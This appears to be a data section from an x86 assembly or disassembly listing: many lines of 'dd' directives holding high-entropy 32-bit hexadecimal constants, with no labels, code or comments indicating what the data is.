dd 0F9C7E08Dh, 57BCDC88h, 5ED0A3C3h, 0B39C527Ch, 72D1B3B5h
dd 2F63C4BEh, 726798D6h, 0D4EB9D44h, 337DB217h, 76D82BA0h
dd 0B1F37D8Dh, 57A1D5F2h, 0C649EB41h, 0EB71A61Dh, 81B43FD0h
dd 2F3AA1DAh, 0D5FE693Bh, 0D0D1CAD9h, 0AF5FB125h, 3EE0F193h
dd 93A37B0Ch, 3A4813A7h, 22169577h, 74BA25A2h, 0F5730A8Bh
dd 436E5ACAh, 0EF8EF50h, 8149CBCh, 72D84E4Ah, 4DDF2299h
dd 92F46C53h, 1867D05Ch, 2A937EDBh, 0E6DC9E2Dh, 81B6A1F3h
dd 840AE690h, 9BDDD6CCh, 3AD08134h, 0AED158DCh, 6C7A51BBh
dd 60729CE6h, 66FF1D4Eh, 9BFC436h, 61361D9h, 2924893Ch
dd 25A56E07h, 572AA9F1h, 0FA760ACh, 0FB9C2457h, 3EB5C9CFh
dd 1F22C1CBh, 79BC3211h, 393F30ABh, 6BBA5378h, 1FC0A338h
dd 0D67C95A2h, 1171798Fh, 0C815C4E5h, 9C734E89h, 0BAE583E6h
dd 4182755Bh, 0E7AA2869h, 0D19C3984h, 0B6E66419h, 0BA4855F0h
dd 1A7D207Bh, 0EB6C7540h, 9E7711BAh, 175ACE39h, 38CDFAF1h
dd 0CD88B905h, 7F2AE729h, 2C14D295h, 925836B6h, 4644F907h
dd 2B7AA5D2h, 9EC7E218h, 1DEB8BCBh, 5F5B3BE2h, 0D0D74ADEh
dd 0AAA02F16h, 163F1620h, 8D0DF405h, 3F27B563h, 0D336106Eh
dd 0B537E54Bh, 0EB8E6C85h, 0C7969D6Ch, 14641DA2h, 13FF39A0h
dd 0F4B26DECh, 0BBE95894h, 0A0132906h, 0D6C266DBh, 9592453Eh
dd 5E62AC14h, 0BE41E7EBh, 0D9B26F4Dh, 8B211F10h, 1899DF45h
dd 70BBD0D2h, 8E0C2E0Fh, 1E9B57E2h, 6096A242h, 5457695Bh
dd 83F373B2h, 0B366A12Eh, 40858E78h, 10D12021h, 0A0D72747h
dd 28B7E9AEh, 0E4D5CC0h, 3B8B15B1h, 610E82F2h, 36DB1F90h
dd 0D9F921F4h, 0B48B45DBh, 0BAC9F20Ch, 0E81EC17h, 50FEB6CFh
dd 96636F49h, 302EAA03h, 14F357FDh, 17313196h, 5A8F6DC8h
dd 7FB59D2Dh, 0DE2F9C52h, 72B08095h, 0CDB139Ah, 33134850h
dd 2E2F6F34h, 0F1A48B57h, 0C7D47DDCh, 279C871Ah, 45B06446h
dd 2E464A9Dh, 0D41904D7h, 9DBBC751h, 0F9017521h, 0F2CDE698h
dd 5FB0A8A6h, 0E91B50C7h, 0C352EE8h, 6456B453h, 0D959A3B2h
dd 0F26C1DACh, 0AD26D304h, 3E0109E4h, 32500D8Bh, 40930C4Dh
dd 0C155B81Dh, 0EEDFA53Dh, 7C24E404h, 9D1F452h, 828652F4h
dd 0DD637713h, 1235394Ah, 0CCB4F8F2h, 0E87C4229h, 45F5F637h
dd 56FAF5D1h, 5BFAD261h, 0B4E324DCh, 23664D45h, 8AA8CFFh
dd 0EFF665E5h, 3B1A6240h, 0C36F904Eh, 94BB16B1h, 257852C3h
dd 0C6B731ABh, 0B5F85EBAh, 25D719A7h, 0C2F69ADBh, 7D0EBE22h
dd 0B9D77C3h, 97777CC5h, 0BE3A47BBh, 1867FED3h, 78F82037h
dd 6A752A2h, 0BBD32D0Bh, 0C3D92D22h, 28C9B390h, 90AC690Fh
dd 0A92E8D46h, 6D16517h, 1F694516h, 9339CBC3h, 0A134C35Ah
dd 0D49DD40Ch, 5DF89E36h, 2B0BA3BDh, 3783E092h, 364292FCh
dd 47C66CF3h, 0C0FC7D12h, 91DF357Dh, 19130DC5h, 4F31ABh
dd 1732997Fh, 25756743h, 833B6955h, 0B78D35E6h, 1709F06Dh
dd 580B410h, 908E6DBDh, 80AF34F5h, 16BE7A4Eh, 759EC4h
dd 3BADF0EEh, 8DA728BBh, 39BA63C1h, 0D292B876h, 0F72BBE1Fh
dd 8EA86CF0h, 92FDA4D5h, 0AEC4B0D1h, 4DEFB22Fh, 33F70C87h
dd 23154A05h, 5DECA088h, 69840664h, 2B0352D1h, 654F049Dh
dd 5630C1CCh, 0EE5A10B6h, 0D8823E78h, 0AA25F655h, 10D3B9EBh
dd 9CED09D9h, 0FE96E31Bh, 3D942E76h, 7F10323Bh, 368F3121h
dd 5C5DDFD1h, 0E494D039h, 0CBBFFA56h, 1C24193h, 0AC3110B0h
dd 30836F80h, 335D0281h, 8E825417h, 0C3421885h, 0A38E0B62h
dd 6481002Ch, 7DD67666h, 74FEE02h, 1716ABC8h, 7670E00Ch
dd 7C22207Dh, 21C4BE32h, 9BE1A55Bh, 11180430h, 749DE7CCh
dd 0BBD354F1h, 0AD6B41BEh, 6AEC703Ch, 0B36CAFC6h, 0B19F5D84h
dd 0CB430548h, 0AE842365h, 0C07A231Ah, 0E1B57E24h, 0FAF10B1Eh
dd 0A8D12581h, 992353A6h, 0DF80B3E7h, 8A862566h, 14B18DCAh
dd 0C81E05D5h, 7441C233h, 86A979EFh, 2580FFCAh, 24037B1Ch
dd 0A5429621h, 0B619697Fh, 934B7601h, 7E64C3F3h, 0BA707151h
dd 19A3D6A1h, 27811F7Ah, 6279E69Bh, 0A830B10Ah, 52836070h
dd 8BE84382h, 0BBFCA31Dh, 338F1EFh, 4A64AE8Fh, 0C251124Ah
dd 6A1B8C72h, 234CD0D5h, 3C6B76B6h, 0D7D062D6h, 4C1A9488h
dd 52D36E6Ch, 87FEF8CBh, 81FFC1h, 0CE197862h, 0D356EB66h
dd 4BB8D490h, 0D9472127h, 70E89FB5h, 75142A1Dh, 0CE5EB5C6h
dd 0D69EE9C4h, 0F25286F0h, 76D54871h, 0BDD8EE06h, 0CEFAA67Ah
dd 1BED81FCh, 0BCF7E58Ch, 0C28BEC8Ch, 27F4A9D9h, 0BC3D899Ch
dd 74491961h, 0F6E07B94h, 0DB61AFC3h, 0EADC3CAAh, 68F882CFh
dd 1C99E12Bh, 9D15A2F9h, 0C89837FDh, 799C8D7Eh, 0E216FD6Ch
dd 0FAD73670h, 764CF63Dh, 0FF65EEBFh, 8DF3A4EAh, 139784F8h
dd 0A005D1C7h, 26E6B732h, 7D364730h, 0F3C697FEh, 396DEDEBh
dd 13E90E5Bh, 0A5241B88h, 385CF3D2h, 8FBCDF52h, 0C30058BFh
dd 932F5650h, 6C31FEE4h, 20DFD61Eh, 0B44CE776h, 0C102CF6Ch
dd 0E73C9055h, 54A3F38Ch, 74B6BD7Eh, 0A57BAA14h, 31946592h
dd 253E4381h, 0AB8A55BBh, 6AA7D6B0h, 81C73065h, 44007FC4h
dd 82A56C02h, 0FD5AB298h, 866CAE56h, 95BCF010h, 0D4BF8433h
dd 2D7B2D06h, 0A056D47Ah, 2C8E73CAh, 45508EABh, 75EDD36Eh
dd 4E4C8C42h, 43E45362h, 0F087B4C7h, 54948D64h, 4F55A798h
dd 8BC56DF2h, 8783E81Eh, 0BCE4D8CBh, 79E7D8C9h, 0E9681F20h
dd 52A7EA91h, 497A7391h, 0BB1FBA29h, 318600BCh, 7E97B539h
dd 1F3FA52Eh, 0EA75AE27h, 0E6E50822h, 0FB87900Ch, 0FAC0E5E7h
dd 85B4D12Dh, 956693DEh, 953D5F92h, 1EBDA738h, 7F0AC9B4h
dd 4DCF2EEAh, 5393C2F2h, 50C606BEh, 4995E9E3h, 69131D5Ch
dd 0C60D5D0Eh, 776EF6D9h, 754D754Ah, 15812BBAh, 4F0907A8h
dd 0BAC48AD9h, 0D258F780h, 0F54B4626h, 9C88C08Ch, 0F2BDDBC9h
dd 0F0F87492h, 393CEA85h, 6B07A717h, 0D54E0F87h, 3679D735h
dd 0E8DEB0EFh, 0E66AC23Ch, 0E6110148h, 5F80C657h, 79CE84A3h
dd 0EBFEE82Dh, 908778EAh, 0D498C911h, 0F7453994h, 4074AD6Eh
dd 9F4836ECh, 719DB865h, 93FF36E9h, 6EBCA7F5h, 415C1A80h
dd 22540812h, 0DDC6A1F4h
dd 6B6E894Dh, 0ED085D93h, 0EA38887Bh, 0E50D2C47h, 18D60C15h
dd 2532B22h, 1C3BCF26h, 3DB93334h, 0DA5208C2h, 0DA42EA81h
dd 4165FD04h, 5D1271D8h, 0C8B9D6C0h, 0E765CDACh, 0B072F3D6h
dd 0BD2EEE62h, 850F5B2Fh, 80A66976h, 65AAAA7Ch, 0C0080538h
dd 81D5510Dh, 55C96C7Ch, 987FA2Dh, 355B2534h, 0CBE58B25h
dd 0FABB31A5h, 0EC00EAA4h, 0D1E052C6h, 0B63B67C9h, 9B1AEBCDh
dd 8ADA0E58h, 23A3CF7Eh, 34547604h, 987A486Dh, 0C1B6B64Eh
dd 0FE101F70h, 4CD3404Eh, 2BA5F259h, 0E213C008h, 276F76CCh
dd 0F99A7D26h, 0ACBDEA35h, 43AE4EFDh, 1F5F52B3h, 0D68F7A71h
dd 0E6D9B81h, 1B06D6B5h, 1A6D8A81h, 1A27A4E7h, 68FEBE0Ch
dd 0D020535Eh, 8CE6BC15h, 6CB9D9B1h, 99ED9180h, 0A928786Bh
dd 0B4365388h, 9CDAA18Ch, 900254BBh, 1DB1A554h, 44AE8379h
dd 41383051h, 6E76ACAFh, 0A56CC226h, 6CEC4F2Ch, 0B826A43Fh
dd 71C5BD26h, 22FE9AEFh, 409E033Eh, 9115E6CDh, 493A1067h
dd 0FD4D56F9h, 321A37BFh, 0D3E4E382h, 0FB9C9A5Ch, 0DB1959AAh
dd 0D3567450h, 0DE73792Bh, 0A18ACEDBh, 3B1AF98Dh, 79C5C906h
dd 7AA28ACEh, 3C1C05E7h, 94C6D498h, 7AF4C4FAh, 39F59719h
dd 17179F80h, 0CAF4639Ah, 0A2342B36h, 42A31C35h, 0D6BAEF5Ch
dd 3D643B26h, 0BE3D74E2h, 33E0AAF4h, 5416E305h, 0FF6F9DB4h
dd 5F1EF73h, 0D794762Fh, 0FB7AA86h, 0A39B1AB6h, 594E057Eh
dd 0EDB2EA35h, 0FF855929h, 16BDEE33h, 0DBC1EC52h, 7E392FF5h
dd 0AAE75AE6h, 5BF4590Fh, 3B6E6550h, 0E8792BBh, 8084D4A8h
dd 495DF657h, 97225EBFh, 21A26C66h, 3C777E43h, 4CE691B7h
dd 0EF7652F5h, 0C67F9359h, 50B1FE7h, 7DD7776Eh, 4BD8F93h
dd 26CA1BDh, 0AC6732DBh, 0D9B3920h, 7DFE654Ch, 877E588Eh
dd 0FD22AF42h, 0DF577F1Dh, 2E262F38h, 730F90D9h, 214315D8h
dd 0FDBE3266h, 48D4FF4Dh, 5B19798Dh, 57DC8646h, 5623621Ch
dd 0E5C6A754h, 0CACBDCE6h, 4441C55Ch, 4C3EF0C3h, 0C21C11B9h
dd 0C9DDB48Bh, 303E8C76h, 7EBB8165h, 38B2BA88h, 0D12B89A3h
dd 63AF1E10h, 83F41AE8h, 0F55F765Ch, 0EE7DB98Dh, 0FC6B84C1h
dd 0E3B02470h, 20287936h, 6EE5362h, 25106FA7h, 0CB1C908Ah
dd 0A84EE789h, 135A6067h, 8A89DA1h, 7C8BB562h, 4350BB3Eh
dd 6F0E0CB3h, 0A610B7BEh, 0E191F66Ch, 4F5B0F31h, 0BC129371h
dd 2AF5152Bh, 5B2EC001h, 0B6644ABh, 0C7D3FA31h, 89DF44AEh
dd 4B54C1A6h, 9F160C62h, 45BBA9DDh, 0E7A23BCDh, 0C746BF6Ah
dd 0CE719A1Dh, 481CBB01h, 2ACA0770h, 920D48C7h, 0EB5BE308h
dd 20DACAAh, 82CBEDB7h, 0E7B1EDE5h, 5FEB5CB4h, 0A8A40385h
dd 0AD66A49h, 281C7DF7h, 65DB15FAh, 0F67D3233h, 0B552CB06h
dd 0ADDD9E4Bh, 6983C936h, 85A9E3D5h, 8415A05Dh, 3DBFA5C3h
dd 0A16F375Eh, 394B487Dh, 0B5F72C3Dh, 0D8B7315Ch, 0EBB438D4h
dd 0CD372DE8h, 0F7F0FEABh, 69607704h, 471524FCh, 14C01630h
dd 0FF43AD3Ah, 9704E82Fh, 20720B3Ah, 408116C8h, 22CD8409h
dd 0D0C9312Fh, 0DA821D05h, 0A0CECAEDh, 944145A0h, 945101A3h
dd 0BA06D94Dh, 2984177Ah, 933869B6h, 0F62DA5DDh, 0E880E2EAh
dd 9158DF7Bh, 637D9443h, 0EE58E5E5h, 24BF19AEh, 0C4A9B355h
dd 3CF036A2h, 2820CA83h, 805354C2h, 0B5202478h, 4CDC2394h
dd 0BC0B6E44h, 27B9FBFDh, 535E77Fh, 72A9DE0Bh, 8CACB110h
dd 0A95BFB0Eh, 63F772Dh, 6EF065D1h, 0AE5EC98Ah, 4C4F8FC7h
dd 6EE46BD0h, 194B2826h, 32603208h, 0EB5A8C58h, 2B61F792h
dd 4125FA6Bh, 4D47CCA3h, 0FA3445C9h, 0B36603C1h, 0EC7076BDh
dd 0BA909540h, 58C44014h, 901BE800h, 6BDDEF09h, 0FE268E64h
dd 432C6CEh, 76B866C5h, 43719188h, 8FEC3C0h, 0A694DF9Ah
dd 43D7CF70h, 3D2862A2h, 16844386h, 0A64663AFh, 87BB98B1h
dd 3B9417BBh, 0CE8475E8h, 63561A5Ah, 479D1E53h, 54DE083Bh
dd 7F959A82h, 0E8693E62h, 36C796D7h, 14C8D8A2h, 2A47DC15h
dd 0BC271531h, 0A0FC2C17h, 0B099F1E3h, 874D2DF0h, 0EC2EDE13h
dd 759F8839h, 597C39EFh, 0C2C01C8Dh, 7A3BE00Dh, 68F6FE68h
dd 5FC4E7E2h, 0FBBC0F16h, 0EF3523C7h, 4390E390h, 89F22F34h
dd 0CB3DB812h, 0D115C3ABh, 0A24E3E58h, 8191F0D3h, 39A9720Bh
dd 88F42FFFh, 64CAA1AEh, 0AB7C1F97h, 33893AF7h, 20F249F3h
dd 44755F0Ah, 5311095Dh, 61238549h, 39A43E7Ah, 52E691CCh
dd 0ACBB149Bh, 47B4AEAAh, 0FA81E268h, 0CE0492ABh, 2FED48CEh
dd 47A0EF8Eh, 0F8015239h, 0D69331Bh, 0C6B34D4Bh, 0F4AC072Eh
dd 0EA64054Ah, 677C2D6Fh, 0AB371329h, 1FE9DE7Dh, 74BE5B6Fh
dd 587D4712h, 0F070719Ch, 0AFB8260Eh, 80F44CBFh, 36A03B35h
dd 0E35136C3h, 0DCAB671Ch, 2985FC29h, 475F2F3Ah, 0EFEDC52Dh
dd 61EB348Ah, 0C362422Fh, 312B463Eh, 0BBF2D46Dh, 0A6A68824h
dd 0DB0047D2h, 2DDE1283h, 7FF6B990h, 0AF2FD7B6h, 0CE32082Ch
dd 2C5BDB62h, 0DB48A211h, 0E419F379h, 0CF928656h, 15584B35h
dd 8F825B9Ah, 0B9F2C79h, 0B48C91DDh, 9F021577h, 61D5F5E4h
dd 5F275E76h, 3C87CAB7h, 0A0DB0518h, 323CF944h, 0F721598Bh
dd 0F9110A95h, 6750B256h, 69D59A1Fh, 928243FDh, 0F9A317CAh
dd 4BACC5E1h, 4D31A6C9h, 0AA52CFE6h, 21CF07BBh, 1302FB49h
dd 5C534B42h, 0DCEFB53Bh, 0D5A13FDh, 7710E33Ah, 3EE7F099h
dd 395980DBh, 94138979h, 0EA88240Bh, 26EFE4DBh, 64FFAB4Eh
dd 184C4D90h, 0BD5EF1Ah, 167C2EBFh, 3316143h, 2A48293Ch
dd 119CEFE6h, 0F656AE7Ch, 28116A01h, 0CB06AB3Eh, 52656EBEh
dd 2EBED60Bh, 2F23A695h, 23A74C50h, 2651182Ch, 13541BD8h
dd 87601EDBh, 1A91E90Eh, 9BA608DEh, 0CD39F8B4h, 0F8E8F743h
dd 0B1BF1DB6h, 0FA4ECE9Fh, 4807E436h, 0C20432FFh, 0E73A9D17h
dd 0AF105CD3h, 9C3EC2ABh, 4144AE04h, 9A364C13h, 0B35C64D5h
dd 494D4D4h, 2CFE553Ah, 0FDA30EA7h, 862AB08Ah, 0BFE65A55h
dd 49D6D7ABh, 0A3867FCFh, 0BC016F3Dh, 0B45FD507h, 903854C7h
dd 0DF5C4683h, 6B5FD7BDh, 0E742322Ah, 9AA55BF4h, 0AEE59DB8h
dd 692FED2Ch, 7536B929h, 6FFB6A8Eh, 8B380083h, 0B48F28B6h
dd 0DC1991B4h, 9E4C03C2h, 330ACDC7h, 0DCF7FC9Eh, 6E2A0B17h
dd 0E55F6993h, 21B34834h, 0F89FD68Fh, 97A107EFh, 0CBA2BBBDh
dd 0F4A3E8CCh, 174BA096h, 0CA5264F0h, 0E85E4ED6h, 295B21C0h
dd 0C0501797h, 3E1C8C4h, 4BEEC595h, 0E7741694h, 1BEFD0Bh
dd 9A8AFC49h, 6BD4CA9Dh, 7C0FCB03h, 0CF79F8D7h, 638E39B2h
dd 0E40F0599h, 8CC2CA0h, 0CD4DEB86h, 8B3E6947h, 66694CE1h
dd 417304D8h, 413E5692h, 0F91A0A1Fh, 117E6BC7h, 9E52CFE1h
dd 4D1C6AA7h, 886B2C65h, 4F349D37h, 0B6BBDAAh, 0CD43E8CCh
dd 0AB31668Ah, 87954396h, 0C9C38C3Bh, 90EDD540h, 2FC56D41h
dd 9CC2FC80h, 0E6A2F374h, 0A5687CAEh, 42AF7F91h, 896DF00Bh
dd 4809EB75h, 4C861574h, 0A52F6701h, 5FDF80BEh, 1748C184h
dd 72BE33A0h, 2BE5C614h, 20A92A7Eh, 0E5867D12h, 91461D4h
dd 369D22E0h, 310EF7F4h, 21C80F30h, 31FCE20Dh, 3FCD50C9h
dd 366F5D6Bh, 1CA22FC0h, 9431631Eh, 0B1A63447h, 3B30E47Ah
dd 0FAA8359Dh, 0A87C1AA3h, 0DA566967h, 21368A0Ch, 0D18006E3h
dd 88C402EEh, 371817AFh, 33A14B76h, 6C2F7B50h, 0A69D19A1h
dd 0D98DC381h, 5B2A298Eh, 0F37397E9h, 149D64B8h, 50E6D9F5h
dd 484FDED8h, 827E4329h
dd 8575312Bh, 0E2CE4CF5h, 0A2868AB8h, 157B7ECFh, 4D1B3C91h
dd 6016B775h, 56FF46E3h, 26442968h, 186A48ACh, 0BD3A279Ah
dd 0CDBB0BECh, 9895CFB5h, 5B7A1F83h, 0AB9C5C19h, 7C8BF085h
dd 2F8AB057h, 53C80573h, 46AD20F1h, 937A532h, 0D0528E7h
dd 8BA2F7Dh, 214416ACh, 0C896C59Dh, 70D7F7DFh, 92D2FF2Bh
dd 0CE879385h, 78A0A015h, 3B8F6B77h, 7544C0D6h, 7023494h
dd 0F7F7F52Dh, 9DE94818h, 0EE8C30C2h, 8D4D16FEh, 82BC3495h
dd 878A57AAh, 5F344090h, 0E125C59Fh, 64420918h, 3B696575h
dd 6DFE16A9h, 0C030B5BEh, 0E1CC52A6h, 93D1535Bh, 0BF0FE6F8h
dd 0DC401D5Fh, 0F7C683AAh, 4468CC61h, 2423D24Dh, 0AB5B91DBh
dd 0A4A84479h, 588309B9h, 7E31404Eh, 1239CDBFh, 9BCF7147h
dd 7888BF73h, 0FDC8ECFCh, 0DC024762h, 329956B9h, 9B91B828h
dd 14DF9F87h, 82495E7Eh, 0C088EF0Eh, 9C783CA0h, 0A8E361F5h
dd 83208EE1h, 0E9567964h, 157FAAFAh, 8AEB5594h, 0C9149A9h
dd 7FD39D7Ah, 182D66BAh, 734D5636h, 5B7133C6h, 2D974A0h
dd 0C3F04EE5h, 0CABCB038h, 8E8DB22Bh, 7E9D77FDh, 286E56E8h
dd 97E267BAh, 875E1925h, 204AB561h, 4D02DF43h, 5F915EB4h
dd 2CAB2EBEh, 0B3D5F05Ah, 407E110Bh, 1012A9E0h, 72CBE68h
dd 0F46EC540h, 0C698E803h, 2F935B9Bh, 4AE6A99h, 0DD3C3C16h
dd 0EFEBB8E7h, 32C3FEB7h, 81D4F99h, 3E324D37h, 0A56147FDh
dd 4528DC24h, 1AD466F5h, 984BE278h, 0FC792C2Eh, 438368A8h
dd 7AEACC02h, 0D49D709Eh, 0BD799DC7h, 0AC4AD7C0h, 0CBA6A5EEh
dd 26A261A7h, 0A1C208FCh, 16ACD1E1h, 0CEB90182h, 5063DE9Dh
dd 984AEF05h, 0DC6F52C9h, 69DD9EF3h, 6B170C57h, 9B200178h
dd 2FCBCA66h, 81B1BC5Bh, 0DE9EA651h, 3B04D69Fh, 0FFDCAA93h
dd 0AB3247C8h, 3C380D91h, 0E8993F49h, 9BF1EA6Eh, 47FD1D05h
dd 0C864B02Dh, 123DE4ACh, 1F32005h, 8319DB41h, 3F31C5E5h
dd 3EB8CE3Fh, 30B5C1CAh, 0F1642C04h, 0D3E0A1F8h, 0D9F7EB13h
dd 592644E8h, 0BA7EB92Bh, 0BA571A2h, 63D275F7h, 5BA7D2FBh
dd 0CCD00C5h, 68F57A37h, 11ECC603h, 930CF764h, 0BAA208AFh
dd 0D0778564h, 836FB58Eh, 70B61C0Eh, 25815496h, 39D201D8h
dd 5BD8F6B8h, 6F58E5E5h, 0EDB9DECFh, 0D1048916h, 0CA3634A8h
dd 0DD598C37h, 80522130h, 9761EA52h, 1FE42B13h, 0C4B5E6FFh
dd 98194E70h, 624FA452h, 607679E4h, 0E2A7B0C2h, 4C021F77h
dd 0E18591C3h, 96FE3CDBh, 2EF8B3F1h, 6BC25B9Eh, 3ABC78BEh
dd 514F319Ah, 0D244B0D2h, 10B23633h, 0D2A70987h, 68E035A1h
dd 18ED756Eh, 233D1476h, 6085E3BCh, 825DA3B8h, 0C4665F03h
dd 9084E7E9h, 0A601193Ah, 763B80A7h, 5D083D15h, 350F6332h
dd 4772A831h, 677B637Fh, 0C5287D23h, 833DF81Eh, 0ECF1230Ah
dd 0EB080FCFh, 1C5E5E1Fh, 57F18362h, 4EE1A0C7h, 6515E5C9h
dd 0E4F36745h, 0E669E4F6h, 0D7B66556h, 894CB31Fh, 0C0F041D0h
dd 2992E163h, 0B064583Eh, 0B78AEF00h, 7A291E24h, 5247306Dh
dd 6A57A5DFh, 2CA64104h, 4637974Dh, 0EE062F43h, 0F3E2B24Fh
dd 14AF3CBh, 3DE7BD1h, 93632453h, 4D43F0Fh, 5BDF61D9h
dd 0E8AA8D7Bh, 7F01B8BEh, 0EB11FF87h, 6A08EA00h, 0E918F59Fh
dd 0BDAABE15h, 8888A018h, 4A06198Ch, 475965E9h, 6F328294h
dd 0D5968A78h, 0AB2E738Fh, 0FD946FD9h, 6E264208h, 0A90D5855h
dd 2AAAE2EFh, 0A2DCD388h, 633BDA94h, 0BC05B3Eh, 0BD9CC095h
dd 0C44F556Ch, 0E65114A7h, 0B5BBA979h, 61B77608h, 7526FB41h
dd 0D5BF4BFCh, 19D239C8h, 91158E1Ah, 265F0961h, 6C8D2CAFh
dd 5765768Dh, 227DCEB7h, 180207F1h, 0EA8400DDh, 0C2A9E982h
dd 0FBA0D883h, 284B7DD2h, 82E315C5h, 47795CAFh, 0A4853195h
dd 9EB49AD8h, 521831E0h, 0C8116B0Dh, 0EFDA53E9h, 0B71BBE44h
dd 0CB2DCAA2h, 0F7E76050h, 6A83AF95h, 0B8D78100h, 0AEEDFB2Ch
dd 8C3BCBC1h, 0F653ECF1h, 96C10824h, 8D8B4694h, 8F19532Ah
dd 15BF8D4Fh, 77A16446h, 0B7E47594h, 0FF6DE1C7h, 90EB8138h
dd 0FB231889h, 53DCA256h, 94464FC4h, 77210448h, 0BA3DB02Eh
dd 0FD5DBFFFh, 0FFCE9452h, 0BB6A18C3h, 333A8301h, 49FF83E3h
dd 72D56DC6h, 16A0726Eh, 0D90C18D1h, 6DF49E21h, 8A8AF345h
dd 0A7D63B4Ah, 0BFDA69C9h, 0C52EF3F6h, 1A777F2Fh, 3190FB26h
dd 4A4E52AFh, 7C177BBEh, 0CBC2295Bh, 61A3A039h, 52F0DC05h
dd 8EF13D69h, 3808C8A0h, 0E6E7C948h, 1B2AF9C7h, 0F9EDABAFh
dd 0ECCE7317h, 0A89C4806h, 5BF9D1D5h, 0ACE99EAh, 139F3733h
dd 0D0570A34h, 4E9F2267h, 43EDD6EDh, 0D9A68D74h, 0E7094CDCh
dd 95E8FA9Eh, 0A7545542h, 7BACBC21h, 2C480216h, 97D40305h
dd 0CE8C8587h, 0A22919E8h, 67C51AC2h, 4834BF6Fh, 646A2F0Eh
dd 0A5F9CD01h, 0AD3CCDFDh, 5669A544h, 1E76A50h, 0B578B07Fh
dd 0D907A29h, 85757882h, 97A601BDh, 0B861E13Eh, 5E432AADh
dd 0F2CB7F01h, 0CD6DE7E3h, 0C1CE1D6Bh, 8F65687h, 77368BA2h
dd 0FF1B4A59h, 167C71F8h, 0F39969C2h, 8AC0C0D5h, 0C39F75AFh
dd 0E9E10A26h, 2C888E87h, 0E85C054Bh, 17D2BAD5h, 0AEFE323Ah
dd 9B5B1304h, 0E9ADF512h, 38732B50h, 0CD68996Dh, 0E81B7363h
dd 0C4A2754Fh, 2B44AF99h, 52B8DE59h, 4D0593AFh, 0BA61DA92h
dd 38E0D456h, 49EA9649h, 0DFAF7E31h, 4E3B4A0h, 31738C3Fh
dd 52044F14h, 765F7573h, 0CBE15871h, 0FD1C2A5Dh, 912D1E86h
dd 0DDD042A8h, 5355813Bh, 0D4181A8Dh, 2902FDC8h, 0AB615524h
dd 0C9CE3ECFh, 37D791E6h, 98FCAD2h, 37BD0BA3h, 0A478C57Bh
dd 0AF1A0CAAh, 0B7B1F39Dh, 0FF002C2Dh, 18003F89h, 0EBD0C6EAh
dd 0A958027Bh, 2A4F57FDh, 81DF7ABFh, 0FB39DD83h, 12150833h
dd 626EA759h, 89B8C39Ch, 41929FDBh, 90FEBBF0h, 3F9C173Dh
dd 0F4AA1DC8h, 0CA9040CBh, 88D629Dh, 167D77h, 99C19965h
dd 2F36FD8Ch, 2F272FA2h, 66DA80F4h, 28F8C885h, 436D13A4h
dd 21AB7AE2h, 0F93D41A6h, 8F6C37C9h, 4F94B081h, 0F950811h
dd 87667A35h, 0A503EEEFh, 3EEC53Fh, 81C9FD98h, 22023F28h
dd 0F71212AAh, 0A9061A78h, 2D0D6D1Ah, 0AFF26F7Ah, 0C7AC55C2h
dd 2253D7F8h, 0D9D0B2C4h, 714FB2B6h, 0CEAFF433h, 273D401Ch
dd 189F6E6Fh, 9898B2EFh, 0EA29D597h, 397B426Dh, 7EF05062h
dd 871A64F9h, 0C30BB8BCh, 0FD16E682h, 0CFF39D49h, 8F90A5BFh
dd 17726535h, 6758473Dh, 6077B674h, 8E782FB9h, 0D1C3FF3Fh
dd 0ED5E978h, 5EC913Dh, 5D5B1569h, 79292F5Ch, 3532963h
dd 0A5E657D3h, 0F46879D6h, 53730056h, 4CC229E6h, 36D41B69h
dd 7FB84D78h, 3E956ECDh, 0F67E9A83h, 0A44925C8h, 13AECF60h
dd 341FD213h, 0BCA3A71Ch, 1E6E376Ch, 63B2827Ah, 70036757h
dd 2D53285Ch, 9D83C866h, 0E326897Bh, 0A0C2453Fh, 0D0990364h
dd 62BFDFDEh, 6E50C2A3h, 94F035E0h, 3397E8CDh, 23A9DB6Ch
dd 2906292Fh, 16AC6129h, 3BE62686h, 0A8D7AB4h, 0CAF8336Fh
dd 77B58134h, 9A6CF660h, 7053F99h, 7FB28959h, 31F2278Dh
dd 0D5BC049Eh, 34D564F9h, 0B8EABBB1h, 3DA9DAFBh, 0ADDC061h
dd 29D6F3C2h, 8013DB91h, 0EA4FF20h, 5607AD22h, 2EC188E3h
dd 0BC94C924h, 0F66A1721h, 0F70826D1h, 458F5AC2h, 27FB899Ah
dd 0E179D2A8h, 50D9004Fh, 7AB06BEEh, 0FF200F11h, 89BCE787h
dd 0A9D5FC03h, 42B9FFF1h, 9DBE75D1h, 0BD7A2DB1h, 0D4BA1AF5h
dd 0EC374E1Bh, 58504C70h
dd 9DB673BAh, 3AC69EBFh, 13C11CE6h, 2F77C28Fh, 0B68C9FFh
dd 0BA988CA2h, 0BFB60018h, 7BBF020Ch, 2415DD21h, 0BF3F3A2Eh
dd 70846E99h, 6EBE9FF8h, 285869B8h, 6CE94E8Fh, 9944DB3Ch
dd 7265F058h, 0BEE14ECDh, 0E2E1B79Bh, 4164A6Dh, 7B6C21D4h
dd 0C3E0CAE1h, 936419E5h, 1976EEFDh, 3160A76Ah, 0F8C78535h
dd 41B2C483h, 19E0AF46h, 4B75A167h, 0C066502Fh, 0F3AB4AE8h
dd 21FE5286h, 6C2718C3h, 455D59F7h, 430F1759h, 0E82AF057h
dd 624FED03h, 260F96BEh, 75C1631Fh, 4E204EE5h, 0F41DA764h
dd 0A3014D99h, 48A7764Bh, 0AFB77AEFh, 4E45214Ah, 5CCE5D19h
dd 64BD3357h, 0B1B1055Ch, 9760105Eh, 926D4AF1h, 6C8DDF77h
dd 38DF8F40h, 0CEA7779Fh, 4E4DF8F3h, 46F193C8h, 699EF076h
dd 0DC0B8342h, 0AECC86B3h, 0F0C527A6h, 0A762FED1h, 85C8F89Ch
dd 0E8CC8AF0h, 0C5C7CA9Dh, 1AFC21F2h, 796240ECh, 0F26C3E50h
dd 3B0C4E81h, 0A263653Ch, 0A6146BCDh, 105ED1Ah, 6A468236h
dd 44238F7Ah, 0DB235459h, 0AE529A7Bh, 7D608887h, 3BE80244h
dd 0F0D23B53h, 2572868Bh, 6E8D5EF3h, 0E40B921Eh, 9CAC3B4Ah
dd 0A1E0163Ch, 121AC9Ch, 0A05A83DBh, 5FF153A7h, 0E7BC9605h
dd 0A69D9449h, 17F60DBEh, 0EEF50B75h, 0A86E7F69h, 396D40DBh
dd 9A13B357h, 0D83E217h, 3EC80531h, 69C68049h, 3300EA02h
dd 58518147h, 3D3DD3B2h, 0E35034B8h, 8F87F80Bh, 1E3A310Eh
